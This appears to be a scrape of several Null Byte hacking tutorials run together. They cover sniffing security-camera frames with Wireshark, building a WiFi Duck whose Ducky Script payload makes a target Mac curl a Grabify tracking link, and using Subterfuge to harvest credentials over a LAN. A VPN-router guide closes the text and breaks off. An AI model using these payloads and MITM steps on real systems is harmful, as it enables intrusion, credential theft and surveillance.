Wireshark main view, typehttpinto the display filter bar.This will only allow HTTP traffic being sent to the computer we're monitoring to be displayed, filtering our view even further until we're only looking at the traffic to our insecure web app. Now, we'll need to actually decode the intercepted packets into images so we can see what our target is seeing from the security camera.Step 8: Decode, Export & View the Intercepted JPEGsNow that we can see the HTTP traffic from the web app, we'll need to select the encoded JPEG files in order to turn them into something we can work with. Stop the capture, and then click on "File," then "Export Objects." We'll be exporting the HTTP objects we've found, so click on "HTTP" to open the object list.In the HTTP object list, we'll see a list of HTTP objects we've intercepted. Here we can see the JPEG images we want to decode. You can select one or all of them, and then click "Save" or "Save All" and pick a location to export the files to.Click "Close," and then navigate to the folder you exported the images to. You should see a list of files that Wireshark exported from our capture. This will be more or less depending on how long you ran the capture for.Finally, click on one of the images to see the image that was intercepted on the way to the target computer. You should see a frame from the video feed!Defending Against the AttackThe best way to ensure no one is snooping on your security camera feed is to make sure that your camera is using HTTPS, has a strong password set, and is on a network that you don't openly share the password to. Because a weak Wi-Fi password can give an attacker direct access to the web application, it's critical you secure your Wi-Fi network witha strong passwordand disable options like WPS setup on your router that allows bypassing of other security features.I hope you enjoyed this guide to intercepting security camera footage with Wireshark! If you have any questions about this tutorial on Wireshark or you have a comment, there's the comments section below, and feel free to reach me on [email protected]'t Miss:Create a Wireless Spy Camera Using a Raspberry PiFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow To:The Difference Between Http and HttpsHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)How To:Spy on Traffic from a Smartphone with WiresharkHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Hack wifi using WiresharkHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Detect network intrusions with Wireshark and SnortHow To:Securely Sniff Wi-Fi Packets with SniffglueHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingBecome an Elite Hacker, Part 2:Spoofing Cookies to Hack Facebook SessionsHow To:Break down IP and TCP header with WiresharkHow To:Get started with WiresharkAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Use Wireshark to Steal Your Own Local PasswordsHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelNews:Amazing 3D video capture using KinectWhistleblower:The NSA is Lying–U.S. Government Has Copies of Most of Your EmaHow To:Get Free Wi-Fi from Hotels & MoreNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsNews:Network Admin? You Might Become a Criminal SoonHow To:Add Ctrl+Alt+Delete to Windows 7 LogonBeyond the Still:Chapter 2 WinnerCamera Plus Pro:The iPhone Camera App That Does it AllGHOST PHISHER:Security Auditing ToolHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device
Start Learning How to Code in Just a Week « Null Byte :: WonderHowTo
If you've been thinking about changing careers and you have just a little bit of time,The Ultimate 2021 Web Developer & Designer Super Bundlemay be just what you need. This is also the perfect time to get it because it's on sale for $34.99, which is 98% off the regular price of $1,886. You'll get 14 courses that offer 39 hours of content on HTML, JavaScript, CSS, and more.Instructors Laurence Svekis and Kalob Taulien are both rated at more than four stars out of five, so you know these courses are effective. If you're not sure where to start, maybe starting with "How to Get a Job as a Web Developer" can help. In addition to explaining how you can get interviews more easily and how toget a jobwith your dream company, it shows you how to find out which skills are most in-demand."Web Development Fundamentals" will cover some of the most common questions about web development and the myths surrounding the field. The "Website QA for Web Designers" will answer more questions, as well as show you how to work with developers more efficiently to make your website better.Two HTML courses will take you from the basics of coding all the way through advanced techniques. You will get hands-on experience creating HTML pages, including navigation, images, and even video.Two more courses in HTML5 Canvas will teach you everything you know to complete five projects and five games using HTML and Canvas.There are three courses on JavaScript, starting with the very basics of how to write JavaScript code to creating dynamic interactive web pages. Then, you will learn all about creating interactive games.Finally, there are three courses on CSS. The first is a beginner's guide to making impressive websites. The second will bring you to an intermediate level, and the last will teach you responsive web design.Bought separately, all of these courses would total $1,886. Get the Ultimate 2021 Web Developer & Designer Super Bundle today for only$34.99to master the fundamentals of coding and begin a new career as a web developer.Prices subject to change.98% Off:The Ultimate 2021 Web Developer & Designer Super Bundle for Just $34.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Use variables and strings when programming in Python 2How To:Prep Oats Overnight for Easy Grab-&-Go Breakfasts All WeekWTFoto Symbology Challenge:Help Develop the Bro Code!Community Byte:Hack Our IRC Bot to Issue CommandsCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingCommunity Byte:Coding an IRC Bot in Python (For Beginners)Community Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training2 Minute Critic:Source CodeCommunity Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Things to Do on WonderHowTo (01/18 - 01/24)Community Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Contest:Code the Best Hacking Tool, Win Bragging RightsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:Coding a Web-Based Password Cracker in PythonCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Things to Do on WonderHowTo (01/11 - 01/17)Goodnight Byte:Coding an IRC Bot in Python (For Beginners)Community Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingHow To:Things to Do on WonderHowTo (12/28 - 01/03)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (12/07 - 12/13)News:Day 2 Of Our New WorldHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Create a Morse Code Telegraph in MinecraftA Null Byte Call to Arms:Join the Fight Against IgnoranceCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:Things to Do on WonderHowTo (11/23 - 11/29)How To:Things to Do on WonderHowTo (03/21 - 03/27)How To:Things to Do on WonderHowTo (01/25 - 01/31)How To:Things to Do on WonderHowTo (11/9 - 11/15)Goodnight Byte:Hack Our IRC Bot to Issue Commands
Hack Like a Pro — Page 2 of 2 « Null Byte :: WonderHowTo
No content found.
How to Perform Keystroke Injection Attacks Over Wi-Fi with Your Smartphone « Null Byte :: WonderHowTo
With just two microcontrollers soldered together, you can inject keystrokes into a computer from a smartphone. After building and programming the device, you plug it into a desktop or laptop, access it over a smartphone, and inject keystrokes as you would with aUSB Rubber Ducky.However, with a Rubber Ducky, you need to first know the type of computer and its operating system, followed by the payload you want to use, so you can program the hacking device to do your bidding. There is no real-time interaction from you — it just does whatever you preloaded on it.With our homemade device, you don't have to know what the computer model and operating system is beforehand that you want to hack. Instead, you load a ton of different payloads onto the device so that you can choose from any one of them after connecting to a computer you hadn't laid eyes on until right before you plugged your hacking device in.Don't Miss:Spy on Traffic from a Smartphone with WiresharkThe device we're creating is called aWiFi Duck, a tool designed by Spacehuhn that uses Ducky Script, and it'ssomething we've covered before. There are three ways you can go about getting a WiFi Duck, which you can see below. One is for more advanced users, one for moderate tinkerers, and an easy premade WiFi Duck.Option 1: Build a WiFi Duck with a PCB & Solder (Advanced)To perform this magic, we'll be combing two different microcontroller units (MCUs) — a Pro Micro and D1 Mini — onto a circuit board. This will require a little bit of soldering, but it doesn't require tons of costly materials to build from scratch since the components are all relatively low-cost.Here are some options on Amazon for the Pro Micro MCU:KeeYees Pro Micro ATmega32U4 (3 Pack)(currently $16.79)Generic Pro Micro ATmega32U4 (1 Pack)(currently $13.99)AITRIP Pro Micro ATmega32U4 (1 Pack)(currently $8.69)AITRIP Pro Micro ATmega32U4 (4 Pack)(currently $18.99)OSOYOO Pro Micro ATmega32U4 (1 Pack)(currently $10.99)KOOKYE Pro Micro ATmega32U4 (3 Pack)(currently $19.97)And for the D1 Mini:IZOKEE ESP8266 ESP-12F D1 Mini (3 Pack)(currently $12.69)IZOKEE ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.79)Organizer ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.89)As for the printed circuit board (PCB) needed to put both of those MCUs together, you can get the design from Spacehuhn on EasyEDA. We'll be using the Pro Micro + D1 Mini PCB, but there's also a Pro Micro + NodeMCU design if you'd rather go that route.DIY WiFi Duck (Pro Micro + Wemos D1 Mini)(starting at $4)DIY WiFi Duck (Pro Micro + NodeMCU)(starting at $4)Click on "Open Editor" for the PCB schematics, then choose "Fabrication" from the menu, followed by "PCB Fabrication File(Gerber)." On the pop-up, choose "Yes" or "No" for Design Rule Checking, depending on your preference, and you'll see options to change the quantity of the order, the PCB thickness and color, the surface finish, and copper weight. When ready, click on "Order at JLCPCB" and order them.Alternatively, you can just go straight to buying the right PCB on Oshpark:WiFi Duck Pro Micro + D1 Mini($6.50)WiFiDuck Pro Micro + NodeMCU($10.30)Now, if you don't already have soldering equipment, here's a beginner set and some solder that'll work for circuit boards and other electronics:Anbes 60W Soldering Iron Kit(currently $21.99)MAIYUM 63-37 Tin Lead Rosin Core Solder Wire(currently $7.99)And you'll need a Micro-USB cable to connect the boards to your computer:Nylon Braided Micro-USB Data Cable(currently $4.98)Option 2: Build a WiFi Duck with Prototyping Boards & Wire (Moderate)If you're not interested in easier portability and just want to build one for the learning experience, you can also skip the PCB and soldering gear and use solderless prototyping boards with jumper wires and a Micro-USB cable. We have thefull instructionsfor building a WiFi Duck in this manner in an earlier guide. If you follow that guide, skip to Step 8 to start hacking.Hack Computers Over Wi-Fi with the WiFi Duck Payload DelivererOption 3: Buy a Premade WiFi Duck (Beginners)If you don't want to do any of the hard work of building one of these devices from scratch, you can buy the official WiFi Duck, designed by Spacehuhn. If you go this route, you won't need the Pro Micro, D1 Mini, PCB, and soldering gear. Skip to Step 8 below to get straight to hacking.DSTIKE WiFi Duck USB Keyboard(currently $39.99)Step 1: Solder the D1 Mini Header Pins to the PCBBefore mounting the MCUs, you'll need to solder the header pins to the PCB. Start with the short end of the header pins that came with the D1 Mini. Push them into the holes on the D1 Mini side of the PCB, then turn it around and solder the pins from the Pro Micro side. When soldering, make sure the pin headers are as straight as possible so that there are no issues when you go to mount the D1 Mini.Step 2: Solder the Pro Micro to the PCBTake the short side of the header pins for the Pro Micro and insert them into the holes from the Pro Micro's blank side. On the opposite side of the Pro Micro, solder each pin into place securely.Next, push the pins' long ends into the holes from the Pro Micro side of the PCB. Make sure to orient the Pro Micro as depicted on the PCB, with the USB port facing the Keyboard/USB HID silkscreen. Push it in all the way, then solder them in place.Step 3: Solder the D1 Mini to the PCBOn the D1 Mini side of the PCB, mount the D1 Mini, following the orientation depicted on the PCB — with the USB port facing inward toward the PCB and to the Debugging silkscreen. Both the D1 Mini's and Pro Micro's USB ports should be facing the same way. Next, push up the D1 Mini to the tips of the long header pins so that there's some space between the D1 Mini and PCB, and solder them in place carefully.Step 4: Prepare the Arduino IDETo flash the programs to the MCUs, we'll use Arduino IDE, but you'll need to configure Arduino IDE to work with both boards. Go to "Arduino" in the menu, then "Preferences." In theAdditional Boards Manager URLsbox, add the following two URLs, and click "OK."https://raw.githubusercontent.com/spacehuhn/hardware/master/wifiduck/package_wifiduck_index.jsonhttps://arduino.esp8266.com/stable/package_esp8266com_index.jsonNext, go to "Tools" in the menu, hover on "Board," and select "Boards Manager." Perform a search for "wifi duck," then install both the WiFi Duck AVR Boards and WiFi Duck ESP8266 Boards options. If you already have them, make sure they're up to date. Click "Close" when done.Step 5: Download the WiFi Duck RepoTo get the code for both the ESP8266 and ATmega32U4, download the WiFi Duck repository as a zip file from GitHub. You can find it at the following link. Then unzip it on your computer.github.com/spacehuhn/wifiduckStep 6: Flash Code to the Pro MicroFrom the unzipped folder, navigate toatmega_duck, then open theatmega_duck.inosketch in Arduino IDE. No adjustments to the code are necessary. With it open in Arduino IDE, go to "Tools" in the menu, hover on "Board," then "WiFi Duck AVR," and choose the board that you have.Connect the ATmega32u4 board to your computer via your Micro-USB cable, then select its port in the "Port" selection in the "Tools" menu. If you don't see your board's serial port show up, the first thing you should do is make sure you're using a proper Micro-USB cable that works with data transfers.When you're done, click the "Upload" button in the project to flash the program to the board. Then just wait for the code to finish flashing over; you'll get a notification at the bottom of the project.Step 7: Flash Code to the D1 MiniNow, it's the ESP8266's turn. From the repo, go into theesp_duckfolder, then open theesp_duck.inosketch in the Arduino IDE. No adjustments to the code are necessary. With it open in Arduino IDE, go to "Tools" in the menu, hover over "Board," then "WiFi Duck ESP8266," and choose the board that you have.After disconnecting the ATmega32U4, connect the ESP8266 board to your computer via your Micro-USB cable, then select its port in the "Port" selection in the "Tools" menu. Again, if you don't see your board's serial port show up, check that you're using a proper Micro-USB cable.When you're done, click the "Upload" button in the project to flash the program to the board. Then just wait for the code to finish flashing over; you'll get a notification at the bottom of the project.Step 8: Connect Your WiFi Duck to a Target ComputerYou're all ready to start your keyboard injection at this point. Unplug the D1 Mini from your computer, then plug the Pro Micro into the target computer.Step 9: Connect to Your WiFi Duck's Wi-FiOn your attack smartphone or computer, change your Wi-Fi connection to the "wifiduck" network and use "wifiduck" as the password. You won't have any internet, but you'll be communicating with your WiFi Duck to issue commands. Next, open a browser and visit192.168.4.1— the interface that lets you do things like run the device, save scripts, and more.Now, on the interface, there are a lot of cool things you can do. For example, you can create new scripts using the "Create" button underScripts. That way, you can save all of your payloads for easy access later and use them just by hitting "Run" next to the appropriate script.You can also go into the "Settings" menu and change the WiFi network's SSID and password, and even the channel that it's broadcasting on if there's a lot of congestion on the current one.Back in the "WiFi Duck" menu, you can go to theEditorsection and type or paste in a script you want to use. In my example, it's a script that will callback toa Grabify tracking link.If you scroll down further on the main page, in theFunctionssection, you can see examples of all the commands you can use in your Ducky Script payloads. Below that, you can even see all of the keys you can use, which can even be used together to perform hotkey combinations.Don't Miss:Hack MacOS with Digispark Ducky Script PayloadsStep 10: Run a Payload on the Target ComputerNow, let's go back to my example script, a script that will callback to a Grabify tracking link from a curl request in a terminal window. This is built with a MacBook Pro in mind:GUI SPACE DELAY 1000 STRING terminal DELAY 500 ENTER DELAY 2000 STRING curl --silent --output /dev/null https://grabify.link/3ZLI4E DELAY 250 ENTERGUI SPACEopens Spotlight Search in macOS,DELAY 1000adds a pause for a second,STRING terminalshows the Terminal app in Spotlight,DELAY 500adds a pause for a half-second,ENTERselects Terminal, andDELAY 2000waits a couple of seconds while Terminal opens and loads.Now, the nextSTRINGtypes "curl --silent --output /dev/nullgrabify.link/O8A7WX" into the prompt,DELAY 250adds a quarter-second, thenENTERexecutes the payload. Back on our Grabify window, we'll be able to see information about the computer since we just had it use our tracking link.Don't Miss:Catch an Internet Catfish with Grabify Tracking LinksSo Simple That Anyone Can Do It!While the WiFi Duck is easy to create and simple to use, it's important to note that it is not encrypted. Also, it creates a Wi-Fi hotspot that is 100% detectable by anyone nearby. So it's not the most subtle tool in a heavily monitored environment. And it should go without saying: don't use this on any target computers that you aren't authorized to use it on because that would be illegal in many different jurisdictions.Don't Miss:How to Load & Use Keystroke Injection Payloads on the USB Rubber DuckyWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo, screenshots, and GIFs by Retia/Null ByteRelatedHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHacking Gear:10 Essential Gadgets Every Hacker Should TryHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Automate Wi-Fi Hacking with Wifite2How To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:The Beginner's Guide to Defending Against Wi-Fi HackingRelease the KRACKen:WPA2 Wi-Fi Encryption Hackable Until All Clients & APs Are PatchedHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHacking Android:How to Create a Lab for Android Penetration TestingAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationSQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSGuide:Wi-Fi Cards and ChipsetsNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali Linux
Subterfuge: MITM Automated Suite That Looks Just Lame. « Null Byte :: WonderHowTo
Remember when MITMing people to pentest webapps and log-ins you had to fire Ettercap,Arpspoof, SSLstrip, then look for credentials in the captured packets?No more thanks to (or fault of?) "Subterfuge".Surprisingly, there's nothing about Subterfuge here on Null Byte (is it?), so I decided to share this awesome tool presented at DEFCON 20.Subterfuge is an automated suite for MITM attacks that includes a lot of useful features and tools (like SSLstrip) that will make your pentest easier and more efficient. Not only it includes SSLstrip (completely automated), but the creators have added some features to make it more powerful and reliable.Here's the DEFCON speech on YouTube:Please enable JavaScript to watch this video.And here's the download link:Downloads - subterfuge - Automated Man-in-the-Middle Attack Framework - Google Project HostingSo let's see how-to install and setup it on Kali Linux and let's explore some of its amazing features.Step 1: Download the PackagesGo to the download link above and choose your download.For efficiency purposes, I'm going to download the SubterfugePublicBeta5.0.tar.gz package.Place it in the Desktop and that's it for this step.Step 2: Extract the PackagesThere are plenty of ways to extract a .tar.gz in Linux:Open the Terminal and type:tar -zxvf /root/Desktop/SubterfugePublicBeta5.0.tar.gz -C /root/DesktopIt will extract the contents of the compressed file in the Desktop, in a folder called "subterfuge".Step 3: Setup SubterfugeType in the Terminal:cd /root/Desktop/subterfugeto navigate to the folder,and:python install.pyto start the installer.Something like this will be prompted:Check "Full Install with Dependencies" and click the Install button.The installer is super verbose, wait until this will prompt:Click finish, now you can close the Terminal.Step 4: Start Subterfuge (And Credential Harvester Modules)From now on you'll only have to type "subterfuge" in the Terminal to start our new friend, then go to Iceweasel and type in the URL space "127.0.0.1".There you go:Now you can press the button "start" and the Credential Harvester Module will automatically start, capturing all the passwords that people type in your LAN, including SSLstrippded ones.Before we continue with some other modules, I want to tell you why SSLstrip isn't reliable anymore (almost).HTTPS SSLstrip vulnerability has been patched with HSTS Headers, so that first time someone connects to a HTTPS page that he never visited, it is stored as HTTPS, and when you visit that page again the HTTPS request will be inevitable, and SSLstrip won't be effective (it would only if it's running the first time that the victim visits the page, but some browsers implemented a list of default HSTS headers for popular sites, so yeah).HSTS is supported by most of the browsers out there (latest versions) except IE (surprised?), which is said to implement it in version 11.Other Interesting Subterfuge Features and ModulesFirst, you may say: "what if I want to MITM only one host?"Subterfuge->SettingsHere you can customize the settings, that otherwise Subterfuge will tell you to do it for you (this is also automated, how nice!).Just enter the single client in "Arp single clients".A little description on the other modules that Subterfuge supports (some of those are NOT supported in the public beta, you'll have to download the official .deb file, which is even easier to install):1)Network View:"allows you to quickly and easily launch advanced attack vectors".2)Session Hijacking:steals the cookies of the compromised session to authenticate into a web service.3)HTTP code injection:"allows the user to inject payloads directly into a compromised session".4)Evilgrade:evilgrade is a tool built for update hijacking, you can find documentation online.And that's it for today, I hope this article will be useful and sorry if my english was bad, but I'm not mother tongue.If something is wrong or incorrect, please correct it in the comments, I'm terribly sorry.Thank you for reading.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual Licensecover image: subterfuge typical backgroundRelatedHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyNews:Simple Man-in-the-Middle Script: For Script KiddiesHow To:The Difference Between Http and HttpsHow To:Prevent airplane seats from recliningNews:Someone Created an Automated Pooping Butt in MinecraftGHOST PHISHER:Security Auditing ToolNews:Minecraft World's Weekly Workshop: Reverse Engineering Minecraft Cake DefenseReflection Challenge:Puddle reflectionThe Film Lab:Chroma Keying in Final Cut ProNews:Cape town accommodation newlandsNews:CELTX - Free media pre-production toolsMega Man:Frustrations!Nostalgia Challenge:"Miss me?"Blue:The Color of Dishonor and Subterfuge
How to VPN Your IoT & Media Devices with a Raspberry Pi PIA Routertraffic « Null Byte :: WonderHowTo
Virtual private networks, or VPNs, are popular for helping you stay anonymous online by changing your IP address, encrypting traffic, and hiding your location. However, common IoT devices, media players, and smart TVs are hard to connect to a VPN, but we have a solution: Turn a Raspberry Pi into a router running throughPIA VPN, which will ensure every connected device gets the VPN treatment.It's best to think of what we are building as an add-on to your home router. We will link the Pi directly to the home router and set up a VPN client on it. We can then simply point devices on our network to the Pi, which will take the traffic, encrypt it, and run it through our VPN.This makes it much easier to secure traffic from Internet of Things (IoT) devices, such as a Chromecast and Apple TV, and helps decrease the CPU usage on our computers by having the Pi do all the hard work. The real hidden gem here is that this system will only count as one device.Let me explain. Many VPN providers limit the number of devices you can have connected at the same time. For example, PIA, orPrivate Internet Access, limits us to five. By directing the traffic through the Pi, it appears as only one device to PIA, and our Pi build can handle 5–6 devices connected to it, depending on how much data they use.This is super helpful if you have a lot of little devices in your house. By using five Pis like the one we are about to build, you could have 25–30 devices connected on one PIA subscription.Image by SADMIN/Null ByteLet's dive in and get started. If you already have a Raspberry Pi up and running, then you can skip steps two, three, and four below.Don't Miss:How to Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxWhat You'll Need to Get StartedRaspberry PimicroSD cardmicroSD card readerpower supplyEthernet cablerouterStep 1: Sign-Up for Private Internet AccessTo begin, we will need aPrivate Internet Access membership. We picked PIA because of its reputation for not logging and its good standing in the community, but it's important to be aware that with any VPN provider, you simply can't know for sure that there is no logging.Some services may collect metadata like DNS requests, who you connect to, and what exit node you connect to, which is enough to cover themselves and arrest you for doing anything really bad. Very few VPN providers would be willing to go to jail for crazy stuff you do on their service. PIA supports the Electronic Frontier Foundation and works with open-source projects to protect privacy, so we recommend their service.PIA will run you $6.95/month and you can cancel at any time. If you want to save a little money, you could get their 6-month plan for $35.95 (which equals out to $5.99/month) also, but their best plan is the yearly one at $39.95 (equaling $3.33/month). If you don't like the service within 7 days of testing it out, you can ask for a full refund.Once you sign up, you will get an email that includes your username and password. Make sure to write down your username and password, as we will need these later.Step 2: Install a BitTorrent Client (If You Don't Have One)In the next step, we'll be downloadingRaspbianfor the Raspberry Pi. The fastest way to do that is with a BitTorrent client. If you already have one, then that's great! Use it. Otherwise, we need to download one. This guide usesDelugewhich works for Windows, Mac, and Linux. Once you navigate to the Deluge website, download the latest version for the operating system you are using and follow the on-screen instructions to install it.Step 3: Download the Raspbian ImageNow that we have Deluge (or another BitTorrent client) installed, we can use it todownload Raspbian via torrent. Once the file is downloaded, you only need to click on it and Deluge should open and start downloading it.Step 4: Flash the Image to the MicroSD CardWe need to write the image to our microSD card. The best practice is to unplug any external hard drives or other USB devices you have, and then insert your microSD into its adapter and plug it in. This is important because you don't want to accidentally flash the wrong device.If you already have a program to flash the image to the card, then you can use that. Otherwise, installEtcher, as it's the easiest to use for making bootable SD cards. It works on Windows, Mac, and Linux, while also having a simple to use interface.Etcher should detect what operating system you are using, but if not, make sure you download the correct version based on your operating system, then open the file and follow the on-screen installation directions. Open Etcher (if it doesn't automatically open after installation), and select the image you just downloaded.Next, be sure the proper drive is selected and flash the image. Once it's done, it will safely eject the SD card.There is a rare chance that Etcher will cause an error. If that does happen, useApplePiBakerfor Mac orWin32 Disk Imagerfor Windows.If you plan on using a Secure Shell (SSH) to access your Pi, then you will want to add an empty filesshwith no file type to the boot folder on the microSD card.Step 5: Start Your PiInsert the SD card into the slot at the bottom of your Raspberry Pi and plug the Pi into both Ethernet and power. The other end of the Ethernet cable goes into your router (which is wired or wirelessly connected to your computer).You can now connect to your Pi however you like. I'm old-school, so I just SSH into the Pi usingPuTTYor theSecure Shell extensionfor Chrome.Remember the username ispiand the password israspberry. After you connect, make sure to change the password withpasswd, and then update your Pi:sudo apt-get updatesudo apt-get upgradesudo apt-get dist-upgradeStep 6: Enable a Static IP AddressNow, we are ready to get started setting our Pi up to route traffic through our VPN. To do that, we'll need to know which gateway to point our devices at, thus we need to create a static IP address. To begin, let's open the proper file for editing with:sudo nano /etc/network/interfacesAnd then, let's add the following.auto loiface lo inet loopbackauto eth0allow-hotplug eth0iface eth0 inet staticaddress 192.168.1.2netmask 255.255.255.0gateway 192.168.1.1dns-nameservers 8.8.8.8 8.8.4.4You may need to change the exact IP address, depending on how your network is set up and what you want it to be. In the end, it should look something like this:Now you are ready to save the file withCtrl-XandY, thenEnter.Step 7: Set Up the VPN ClientWe will useOpenVPNfor this build, but our Pis don't have it pre-installed, so we can download it now by typingsudo apt-get install openvpninto a terminal.Then we can download the PIA files, such as the certificates we will need, withwget, and then unzip and copy them over to OpenVPN. To do so, we'll type the following.wgethttps://www.privateinternetaccess.com/openvpn/openvpn.zipunzip openvpn.zip -d openvpnsudo cp openvpn/ca.rsa.2048.crt openvpn/crl.rsa.2048.pem /etc/openvpn/Move to the OpenVPN directory withcd openvpn, and look at your region choices withls.Remember those locations close to you will be faster with less lag, but will also cause your IP to appear to come from that area. Once you decide on one, we need to copy it over too. Say I wanted to use US East, I would need to type in:sudo cp US\ East.ovpn /etc/openvpn/US.confDon't forget, you need to put a\in front of spaces for the file name.Next, we need to give the program our PIA login credentials from before. To do this, we will create a login file withsudo nano /etc/openvpn/loginThen we put our username on one line, and the password on the next.Just as before, when using nano, save the file withCtrl-XandY, thenEnter. Now, we will configure the file from before so that it knows where to find everything. Open it withsudo nano /etc/openvpn/US.conf, then edit the following lines seen in the screenshot below.Change them to read like as below. Note you are not deleting any lines, just changing those three.auth-user-pass /etc/openvpn/logincrl-verify /etc/openvpn/crl.rsa.2048.pemca /etc/openvpn/ca.rsa.2048.crtYou know the drill: Save the file withCtrl-XandY, thenEnter. Then, reboot the system to apply all the changes we have made by typingsudo reboot.Step 8: Test the VPNIf we 